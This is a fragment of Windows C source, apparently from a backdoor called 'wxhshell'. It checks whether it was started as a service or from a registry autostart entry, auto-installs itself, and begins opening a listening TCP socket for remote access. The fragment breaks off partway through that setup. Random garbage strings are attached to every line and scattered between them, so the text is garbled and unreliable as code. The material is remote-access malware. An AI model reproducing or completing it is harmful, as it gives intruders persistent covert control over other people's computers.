ULONG InheritedFromUniqueProcessId; ^<!Ia
} PROCESS_BASIC_INFORMATION; #&k8TY
gEE9/\>%-
PROCNTQSIP NtQueryInformationProcess; +5#x6[
!TGr .R
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FZeP<Ban
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U8E0~[y'
*jGPGnSo
HANDLE hProcess; iL+y(]
PROCESS_BASIC_INFORMATION pbi; r9<V%PHv
fa"\=V2S
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZH% we
if(NULL == hInst ) return 0; D$ ej+s7
OqtQA#uL
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )q^(T1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0Qt~K#mr/
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,b$z!dvhl
Ac
J>$L)
if (!NtQueryInformationProcess) return 0; 1p~5h(jI
)mj<{Td`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l4zw]AYk+X
if(!hProcess) return 0; _n7%df
h:_NA
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {QMN=O&n
O
3G:0xF
CloseHandle(hProcess); )x)gHY8;
%
^e@`0L
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3<+z46`?
if(hProcess==NULL) return 0; a`s/ qi
Jlz9E|*qV
HMODULE hMod; ]/a
g*F
char procName[255]; ,?I(/jI
unsigned long cbNeeded; uO"y`$C$_
whw{dfE
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
PaNeu1cO
?x'w~;9R/
CloseHandle(hProcess); ~C0Pu.{o
L -YNz0A
if(strstr(procName,"services")) return 1; // 以服务启动 L(;.n>/
E3bwyK!s
return 0; // 注册表启动 % oR>Uo
} M= atls
u"\=^F
// 主模块 CPVmF$A-
int StartWxhshell(LPSTR lpCmdLine) #sS9vv7i
{ G#|Hu;C6"
SOCKET wsl; K0LbZMn,/
BOOL val=TRUE; :4U0I:J#
int port=0; 2?*||c==*
struct sockaddr_in door; vsc&Ju%k
}{A?PHV5
if(wscfg.ws_autoins) Install(); ,!hnm
V+.Q0$~F5
port=atoi(lpCmdLine); \<=IMa0
&lU Ny
L
if(port<=0) port=wscfg.ws_port; RNvQ
D@:"f?K>
WSADATA data; t|<FA#
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q#jEv- j.
/e .D/;]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %/Bvy*X&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0lBat_<8
door.sin_family = AF_INET; =E!x~S;N
door.sin_addr.s_addr = inet_addr("127.0.0.1"); a&N